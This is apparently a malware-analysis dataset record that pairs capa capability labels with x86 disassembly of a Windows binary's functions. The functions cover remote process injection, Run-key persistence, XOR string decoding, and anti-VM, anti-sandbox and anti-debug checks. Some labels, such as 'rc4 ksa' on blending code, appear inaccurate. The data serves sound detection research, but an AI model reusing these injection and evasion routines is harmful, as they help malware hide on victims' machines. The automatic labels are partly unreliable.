joyce8/EMBER2024-capa huggingface dataset:
Function at 0x441c69
Capabilities:
Encode data using xor

Disassembly:
push ecx
push ecx
mov edx, dword [esp + 0x2c]
push esi
mov esi, dword [esp + 0x10]
mov eax, dword [esi + 0xd4]
mov dword [esp + 4], eax
test edx, edx
je 0x441d1f
imul eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x18]
imul ecx, dword [esp + 0x28]
push ebx
mov ebx, dword [esp + 0x24]
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x1c]
neg eax
add ecx, dword [esp + 0x18]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x28]
push ebp
push edi
lea edi, [ecx + eax*4]
mov eax, dword [esp + 0x28]
mov ecx, dword [esi + 0xcc]
mov ebp, edi
imul ecx, ebx
add ecx, dword [esi + 0xc8]
add ecx, eax
cmp dword [esp + 0x38], 0
jle 0x441cff
mov edx, dword [esp + 0x38]
mov esi, dword [esp + 0x10]
mov al, byte [ebp + 2]
xor byte [ecx + 2], al
mov al, byte [ebp + 1]
xor byte [ecx + 1], al
mov al, byte [ebp]
lea ebp, [ebp + 4]
xor byte [ecx], al
add ecx, esi
dec edx
jne 0x441cda
mov edx, dword [esp + 0x3c]
mov esi, dword [esp + 0x1c]
mov eax, dword [esp + 0x28]
dec edx
inc ebx
cmp dword [esi + 0xe8], 0
mov dword [esp + 0x3c], edx
jne 0x441d14
add edi, dword [esp + 0x14]
jmp 0x441d18
add edi, dword [esp + 0x24]
test edx, edx
jne 0x441cb8
pop edi
pop ebp
pop ebx
pop esi
pop ecx
pop ecx
ret 0x24

Function at 0x44202a
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
push ecx
imul edx, dword [esp + 0x28], 3
push ebx
mov ebx, dword [esp + 0x30]
mov dword [esp + 8], edx
test ebx, ebx
je 0x442104
imul eax, dword [esp + 0x1c], 3
mov ecx, dword [esp + 0x18]
push ebp
mov ebp, dword [esp + 0x24]
neg ecx
push esi
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x20]
imul eax, dword [esp + 0x30]
push edi
imul edi, dword [esp + 0x30], 3
mov dword [esp + 0x10], ecx
add eax, dword [esp + 0x20]
add edi, eax
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x38], edi
mov esi, dword [eax + 0xcc]
imul esi, ebp
mov dword [esp + 0x34], edi
add esi, dword [eax + 0xc8]
add esi, dword [esp + 0x28]
test edx, edx
jle 0x4420da
mov ebp, dword [esp + 0x34]
mov ebx, 0xff
sub ebx, dword [esp + 0x40]
mov edi, edx
movzx eax, byte [esi]
movzx ecx, byte [ebp]
imul ecx, dword [esp + 0x40]
imul eax, ebx
add eax, ecx
mov ecx, 0xff
cdq
idiv ecx
inc ebp
mov byte [esi], al
inc esi
dec edi
jne 0x4420a2
mov edi, dword [esp + 0x38]
mov ebx, dword [esp + 0x3c]
mov ebp, dword [esp + 0x2c]
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
dec ebx
inc ebp
cmp dword [eax + 0xe8], 0
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x2c], ebp
jne 0x4420f1
add edi, ecx
jmp 0x4420f5
add edi, dword [esp + 0x24]
mov dword [esp + 0x38], edi
test ebx, ebx
jne 0x442078
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret 0x28
Function at 0x442724
Capabilities:
Encode data using xor

Disassembly:
push ecx
push ecx
push esi
mov esi, dword [esp + 0x30]
push edi
mov edi, dword [esp + 0x14]
mov eax, dword [edi + 0xd4]
mov dword [esp + 8], eax
test esi, esi
je 0x4427d9
imul eax, dword [esp + 0x20]
imul edx, dword [esp + 0x28], 3
push ebx
mov ebx, dword [esp + 0x28]
push ebp
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0x24]
neg eax
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x24]
imul eax, dword [esp + 0x34]
add eax, dword [esp + 0x20]
add edx, eax
mov eax, dword [esp + 0x28]
mov ecx, dword [edi + 0xcc]
mov ebp, edx
imul ecx, ebx
add ecx, dword [edi + 0xc8]
add ecx, eax
cmp dword [esp + 0x38], 0
jle 0x4427ba
mov esi, dword [esp + 0x38]
mov edi, dword [esp + 0x10]
mov al, byte [ebp + 2]
xor byte [ecx + 2], al
mov al, byte [ebp + 1]
xor byte [ecx + 1], al
mov al, byte [ebp]
lea ebp, [ebp + 3]
xor byte [ecx], al
add ecx, edi
dec esi
jne 0x442795
mov esi, dword [esp + 0x3c]
mov edi, dword [esp + 0x1c]
mov eax, dword [esp + 0x28]
dec esi
inc ebx
cmp dword [edi + 0xe8], 0
mov dword [esp + 0x3c], esi
jne 0x4427cf
add edx, dword [esp + 0x14]
jmp 0x4427d3
add edx, dword [esp + 0x24]
test esi, esi
jne 0x442773
pop ebp
pop ebx
pop edi
pop esi
pop ecx
pop ecx
ret 0x24
Function at 0x447def
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
sub esp, 0xc
mov ecx, dword [0x3596444]
push ebx
push ebp
push esi
push edi
xor esi, esi
xor edi, edi
mov dword [esp + 0x10], esi
test ecx, ecx
jle 0x447fc3
mov edx, dword [esp + 0x28]
mov eax, dword [esi*4 + 0x3596998]
cmp dword [eax], edx
je 0x447e29
inc esi
mov dword [esp + 0x10], esi
cmp esi, ecx
jl 0x447e10
jmp 0x447fc3
cmp dword [esp + 0x38], 0x20
jne 0x447f97
mov eax, dword [eax + 8]
mov ebp, dword [esp + 0x44]
test eax, eax
je 0x447e6d
cmp ebp, 0x20
je 0x447e49
cmp ebp, 0xffffffff
jne 0x447e6d
push ebp
push dword [esp + 0x44]
push dword [esp + 0x44]
push dword [esp + 0x40]
push dword [esp + 0x40]
push dword [esp + 0x40]
push dword [esp + 0x3c]
push dword [esp + 0x3c]
call eax
jmp 0x447fc1
mov eax, dword [esp + 0x2c]
inc eax
imul ebx, eax, 3
and ebx, 0xfffffffc
mov eax, ebx
mov dword [esp + 0x14], ebx
imul eax, dword [esp + 0x30]
push eax
push 0
push dword [0x3594fe4]
call dword [0x3592924]
mov dword [esp + 0x18], eax
test eax, eax
je 0x447fc3
mov edi, dword [esp + 0x30]
test edi, edi
jle 0x447f62
mov edx, dword [esp + 0x24]
mov ecx, eax
mov eax, dword [esp + 0x2c]
mov dword [esp + 0x38], ecx
mov dword [esp + 0x30], edx
mov dword [esp + 0x24], edi
mov dword [esp + 0x28], ecx
mov ebp, edx
test eax, eax
jle 0x447f42
mov ebx, ecx
mov esi, eax
mov ecx, 0xff
movzx eax, byte [ebp + 2]
sub eax, ecx
movzx ecx, byte [ebp + 3]
imul eax, ecx
mov ecx, 0xff
add eax, 0xfe01
cdq
idiv ecx
mov byte [ebx + 2], al
movzx eax, byte [ebp + 1]
sub eax, ecx
movzx ecx, byte [ebp + 3]
imul eax, ecx
mov ecx, 0xff
add eax, 0xfe01
cdq
idiv ecx
mov byte [ebx + 1], al
movzx eax, byte [ebp]
lea ebp, [ebp + 4]
sub eax, ecx
movzx ecx, byte [ebp - 1]
imul eax, ecx
mov ecx, 0xff
add eax, 0xfe01
cdq
idiv ecx
mov byte [ebx], al
lea ebx, [ebx + 3]
dec esi
jne 0x447ed3
mov ebx, dword [esp + 0x14]
mov eax, dword [esp + 0x2c]
mov ecx, dword [esp + 0x38]
mov edx, dword [esp + 0x30]
add edx, dword [esp + 0x34]
add ecx, ebx
dec dword [esp + 0x24]
mov dword [esp + 0x30], edx
mov dword [esp + 0x38], ecx
jne 0x447ec0
mov esi, dword [esp + 0x10]
mov ebp, dword [esp + 0x44]
mov eax, dword [esi*4 + 0x3596998]
mov esi, dword [esp + 0x18]
push ebp
push dword [esp + 0x44]
push dword [esp + 0x44]
push ebx
push edi
push dword [esp + 0x40]
push esi
push dword [esp + 0x3c]
call dword [eax + 4]
push esi
push 0
push dword [0x3594fe4]
mov edi, eax
call dword [0x3592928]
jmp 0x447fc3
cmp dword [esp + 0x38], 0x18
jne 0x447fc3
push dword [esp + 0x44]
push dword [esp + 0x44]
push dword [esp + 0x44]
push dword [esp + 0x40]
push dword [esp + 0x40]
push dword [esp + 0x40]
push dword [esp + 0x3c]
push dword [esp + 0x3c]
call dword [eax + 4]
mov edi, eax
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret 0x28
Function at 0x404d5c
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
xor eax, eax
push ebp
push 0x404dda
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x40
push 0x3000
lea eax, [ebp - 8]
mov edx, ebx
call fcn.00403870
mov eax, dword [ebp - 8]
call fcn.004038c4
inc eax
push eax
push 0
push esi
call sub.kernel32.dll_VirtualAllocEx
mov edi, eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0xc]
mov edx, ebx
call fcn.00403870
mov eax, dword [ebp - 0xc]
call fcn.004038c4
inc eax
push eax
push ebx
push edi
push esi
call sub.kernel32.dll_WriteProcessMemory
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404de1
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.00403774
ret

Function at 0x404dec
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov esi, ecx
mov ebp, edx
mov ebx, eax
push 0x40
push 0x3000
push esi
push 0
push ebx
call sub.kernel32.dll_VirtualAllocEx
mov edi, eax
push esp
push esi
push ebp
push edi
push ebx
call sub.kernel32.dll_WriteProcessMemory
mov eax, edi
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x404e1c
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov ebx, eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.00404dec
mov esi, eax
mov eax, edi
call fcn.00404d4c
mov ecx, eax
mov edx, edi
mov eax, ebx
call fcn.00404dec
lea edx, [ebp - 0xc]
push edx
push 0
push esi
push eax
push 0
push 0
push ebx
call sub.kernel32.dll_CreateRemoteThread
mov edi, eax
cmp byte [ebp + 8], 0
je 0x404e82
push 0xffffffffffffffff
push edi
call sub.kernel32.dll_WaitForSingleObject
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
push esi
push ebx
call sub.kernel32.dll_ReadProcessMemory
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x405208
Capabilities:
Inspect section memory permissions

Disassembly:
xor edx, edx
test eax, 0x4000000
je 0x405217
or edx, 0x200
test eax, 0x20000000
je 0x40524b
test eax, 0x40000000
je 0x405236
test eax, 0x80000000
je 0x405231
or edx, 0x40
jmp 0x405272
or edx, 0x20
jmp 0x405272
test eax, 0x80000000
je 0x405245
or edx, 0x80
jmp 0x405272
or edx, 0x10
mov eax, edx
ret
test eax, 0x40000000
je 0x405263
test eax, 0x80000000
je 0x40525e
or edx, 4
jmp 0x405272
or edx, 2
jmp 0x405272
test eax, 0x80000000
je 0x40526f
or edx, 8
jmp 0x405272
or edx, 1
mov eax, edx
ret
Function at 0x405664
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
mov edx, dword [0x404d2c]
call fcn.00403ce0
xor eax, eax
push ebp
push 0x405775
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 9], 0
mov eax, dword [ebp - 8]
xor edx, edx
push edx
push eax
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edi, eax
mov esi, 0x10000000
add esi, 0x10000
push 0x40
push 0x3000
mov eax, dword [edi + 0x50]
push eax
mov eax, dword [edi + 0x34]
add eax, esi
push eax
call sub.kernel32.dll_VirtualAlloc_1
mov ebx, eax
test ebx, ebx
je 0x4056fd
push 0x8000
push 0
push ebx
call sub.kernel32.dll_VirtualFree_1
push 0x40
push 0x3000
mov eax, dword [edi + 0x50]
push eax
mov eax, dword [edi + 0x34]
add eax, esi
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_VirtualAllocEx
mov ebx, eax
test ebx, ebx
jne 0x405709
cmp esi, 0x30000000
jbe 0x4056b2
lea eax, [ebp - 0x2c]
push eax
mov ecx, dword [ebp - 8]
mov edx, ebx
mov eax, dword [ebp - 4]
call fcn.00405430
mov eax, dword [ebp - 0x2c]
test eax, eax
je 0x405759
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0x10], edx
lea edx, [ebp - 0x18]
push edx
mov edx, dword [ebp - 0x28]
push edx
push eax
push ebx
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_WriteProcessMemory
push 8
push 0
lea ecx, [ebp - 0x14]
mov edx, 0x40563c
mov eax, dword [ebp - 4]
call fcn.00404e1c
test eax, eax
je 0x405759
mov byte [ebp - 9], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40577c
lea eax, [ebp - 0x2c]
mov edx, dword [0x404d2c]
call fcn.00403da4
ret

Function at 0x40584c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403ab4
xor eax, eax
push ebp
push 0x4058bb
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.004038c4
mov esi, eax
test esi, esi
jle 0x40589b
mov ebx, 1
lea eax, [ebp - 4]
call fcn.00403b1c
mov edx, dword [ebp - 4]
mov dl, byte [edx + ebx - 1]
xor dl, 0xbc
mov byte [eax + ebx - 1], dl
inc ebx
dec esi
jne 0x405881
mov eax, edi
mov edx, dword [ebp - 4]
call fcn.004037a4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4058c2
lea eax, [ebp - 4]
call fcn.00403750
ret
Function at 0x406008
Capabilities:
Delete file
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403ab4
xor eax, eax
push ebp
push 0x4060a7
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
mov eax, dword [ebp - 4]
call fcn.00406344
test al, al
je 0x406091
xor eax, eax
push ebp
push 0x406087
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00403ac4
mov esi, eax
push esi
call sub.kernel32.dll_GetFileAttributesA
mov ebx, eax
and bl, 2
and bl, 1
and bl, 4
xor eax, eax
mov al, bl
push eax
push esi
call sub.kernel32.dll_SetFileAttributesA
push esi
call sub.kernel32.dll_DeleteFileA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 5], al
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x406091
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4060ae
lea eax, [ebp - 4]
call fcn.00403750
ret

Function at 0x406110
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
push esi
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x406170
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, 0x406188
call fcn.004037e8
lea eax, [ebp - 8]
mov edx, ebx
call fcn.004037e8
push 0
push esi
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
mov eax, 0x80000001
call fcn.004066c8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406177
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403774
ret

Function at 0x40628c
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov esi, eax
mov eax, dword [ebp - 4]
call fcn.00403ab4
mov eax, dword [ebp - 8]
call fcn.00403ab4
mov eax, dword [ebp + 8]
call fcn.00403ab4
xor eax, eax
push ebp
push 0x406331
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.00403ac4
push eax
push esi
call sub.advapi32.dll_RegCreateKeyA
mov eax, dword [ebp + 8]
call fcn.004038c4
push eax
mov eax, dword [ebp + 8]
call fcn.00403ac4
push eax
push 2
push 0
mov eax, dword [ebp - 8]
call fcn.00403ac4
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegSetValueExA
test eax, eax
jne 0x406305
mov bl, 1
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406338
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403774
lea eax, [ebp + 8]
call fcn.00403750
ret
Function at 0x4063b0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
mov esi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403ab4
mov eax, dword [ebp - 8]
call fcn.00403ab4
xor eax, eax
push ebp
push 0x40644a
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
push 2
push 0
push 2
push 0x40000000
mov eax, dword [ebp - 4]
call fcn.00403ac4
push eax
call sub.kernel32.dll_CreateFileA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40642f
cmp esi, 0xffffffff
jne 0x406413
push 0
push 0
push 0
push ebx
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 0xc]
push eax
push esi
lea eax, [ebp - 8]
call fcn.00403b1c
push eax
push ebx
call sub.kernel32.dll_WriteFile_1
push ebx
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406451
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403774
ret

Function at 0x4066c8
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov esi, eax
mov ebx, dword [ebp + 8]
mov eax, dword [ebp - 4]
call fcn.00403ab4
mov eax, dword [ebp - 8]
call fcn.00403ab4
mov eax, dword [ebp + 0xc]
call fcn.00403ab4
xor eax, eax
push ebp
push 0x4067a7
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
mov edx, dword [ebp + 0xc]
call fcn.004037a4
lea eax, [ebp - 0xc]
push eax
push 1
push 0
mov eax, dword [ebp - 4]
call fcn.00403ac4
push eax
push esi
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x406784
lea eax, [ebp - 0x14]
push eax
push 0
lea eax, [ebp - 0x10]
push eax
push 0
mov eax, dword [ebp - 8]
call fcn.00403ac4
mov esi, eax
push esi
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x40677b
mov eax, ebx
mov edx, dword [ebp - 0x14]
call fcn.00403bf4
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebx]
call fcn.00403ac4
push eax
lea eax, [ebp - 0x10]
push eax
push 0
push esi
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
mov edx, dword [ebp - 0x14]
dec edx
mov eax, ebx
call fcn.00403bf4
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4067ae
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403774
lea eax, [ebp + 0xc]
call fcn.00403750
ret

Function at 0x406ca0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.00403ac4
push eax
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x406cb9
test al, 0x10
jne 0x406cbd
xor eax, eax
pop ebx
ret
mov al, 1
pop ebx
ret
Function at 0x406ee4
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef8
push ebx
push esi
xor edx, edx
mov dword [ebp - 8], edx
mov esi, eax
xor eax, eax
push ebp
push 0x406f6d
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.00403750
mov dword [ebp - 4], 0x64
mov eax, dword [ebp - 4]
call fcn.0040282c
mov ebx, eax
lea eax, [ebp - 4]
push eax
push ebx
call sub.advapi32.dll_GetUserNameA
lea eax, [ebp - 0x108]
mov edx, ebx
call fcn.00402ca0
lea edx, [ebp - 0x108]
lea eax, [ebp - 8]
call fcn.004038a0
mov edx, dword [ebp - 8]
mov eax, esi
mov ecx, 0x406f84
call fcn.00403910
mov eax, ebx
call fcn.0040285c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406f74
lea eax, [ebp - 8]
call fcn.00403750
ret

Function at 0x406f88
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef8
push ebx
push esi
xor edx, edx
mov dword [ebp - 8], edx
mov esi, eax
xor eax, eax
push ebp
push 0x407011
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.00403750
mov dword [ebp - 4], 0x64
mov eax, dword [ebp - 4]
call fcn.0040282c
mov ebx, eax
lea eax, [ebp - 4]
push eax
push ebx
call sub.advapi32.dll_GetUserNameA
lea eax, [ebp - 0x108]
mov edx, ebx
call fcn.00402ca0
lea edx, [ebp - 0x108]
lea eax, [ebp - 8]
call fcn.004038a0
mov edx, dword [ebp - 8]
mov eax, esi
mov ecx, 0x407028
call fcn.00403910
mov eax, ebx
call fcn.0040285c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407018
lea eax, [ebp - 8]
call fcn.00403750
ret

Function at 0x40702c
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
xor edx, edx
mov dword [ebp - 8], edx
mov esi, eax
xor eax, eax
push ebp
push 0x4070a1
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.00403750
mov dword [ebp - 4], 0x64
mov eax, dword [ebp - 4]
call fcn.0040282c
mov ebx, eax
lea eax, [ebp - 4]
push eax
push ebx
call sub.advapi32.dll_GetUserNameA
lea eax, [ebp - 8]
mov edx, ebx
call fcn.00403870
mov edx, dword [ebp - 8]
mov eax, esi
mov ecx, 0x4070b8
call fcn.00403910
mov eax, ebx
call fcn.0040285c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4070a8
lea eax, [ebp - 8]
call fcn.00403750
ret

Function at 0x4077f0
Capabilities:
Reference the vmware io port

Disassembly:
xor eax, eax
push 0x407818
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x564d5868
mov ebx, 0x3c6cf712
mov ecx, 0xa
mov dx, 0x5658
in eax, dx
mov eax, 1
jmp 0x40782b
xor ebx, ebx
pop dword fs:[ebx]
add esp, 4
ret

Function at 0x407834
Capabilities:
Check for vm using instruction vpcext

Disassembly:
push ebp
mov ecx, 0x40787e
mov ebp, esp
push ebx
push ecx
push dword fs:[0]
mov dword fs:[0], esp
mov ebx, 0
mov eax, 1
invalid

Function at 0x4079b8
Capabilities:
Check for sandbox and av modules

Disassembly:
push ebx
xor ebx, ebx
push 0x4079d0
call sub.kernel32.dll_GetModuleHandleA_1
test eax, eax
je 0x4079cb
mov bl, 1
mov eax, ebx
pop ebx
ret
Function at 0x4079dc
Capabilities:
Check for sandbox and av modules

Disassembly:
push ebx
xor ebx, ebx
push 0x4079f4
call sub.kernel32.dll_GetModuleHandleA_1
test eax, eax
je 0x4079ef
mov bl, 1
mov eax, ebx
pop ebx
ret

Function at 0x407a00
Capabilities:
Query or enumerate registry value

Disassembly:
push ebx
add esp, 0xfffffef4
xor ebx, ebx
push esp
push 1
push 0
push 0x407a68
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x407a53
mov dword [esp + 4], 0x101
lea eax, [esp + 4]
push eax
lea eax, [esp + 0xc]
push eax
push 0
push 0
push 0x407a94
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
lea eax, [esp + 8]
cmp eax, 0x407aa0
jne 0x407a53
mov bl, 1
mov eax, dword [esp]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov eax, ebx
add esp, 0x10c
pop ebx
ret

Function at 0x407ab8
Capabilities:
Query or enumerate registry value

Disassembly:
push ebx
add esp, 0xfffffef4
xor ebx, ebx
push esp
push 1
push 0
push 0x407b20
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x407b0b
mov dword [esp + 4], 0x101
lea eax, [esp + 4]
push eax
lea eax, [esp + 0xc]
push eax
push 0
push 0
push 0x407b4c
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
lea eax, [esp + 8]
cmp eax, 0x407b58
jne 0x407b0b
mov bl, 1
mov eax, dword [esp]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov eax, ebx
add esp, 0x10c
pop ebx
ret

Function at 0x407b70
Capabilities:
Query or enumerate registry value

Disassembly:
push ebx
add esp, 0xfffffef4
xor ebx, ebx
push esp
push 1
push 0
push 0x407bd8
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x407bc3
mov dword [esp + 4], 0x101
lea eax, [esp + 4]
push eax
lea eax, [esp + 0xc]
push eax
push 0
push 0
push 0x407c04
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
lea eax, [esp + 8]
cmp eax, 0x407c10
jne 0x407bc3
mov bl, 1
mov eax, dword [esp]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov eax, ebx
add esp, 0x10c
pop ebx
ret

Function at 0x407d50
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
mov eax, dword fs:[0x30]
movzx eax, byte [eax + 2]
or al, al
je 0x407d67
jne 0x407d6e
mov dword [ebp - 4], 1
mov dword [ebp - 8], 1
cmp dword [ebp - 8], 1
jne 0x407d7d
mov dl, 1
cmp dword [ebp - 4], 1
jne 0x407d85
xor edx, edx
mov eax, edx
pop ecx
pop ecx
pop ebp
ret

Function at 0x407da8
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
xor eax, eax
push ebp
push 0x407dfe
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, 0x407e14
call fcn.004037e8
push 0
push dword [ebp - 4]
mov eax, dword fs:[0x30]
movzx eax, byte [eax + 2]
or al, al
jne 0x407de1
xor eax, eax
leave
ret
mov eax, 1
leave
ret

Function at 0x407e3c
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
add dword [eax + 0x20], 0x2000
ret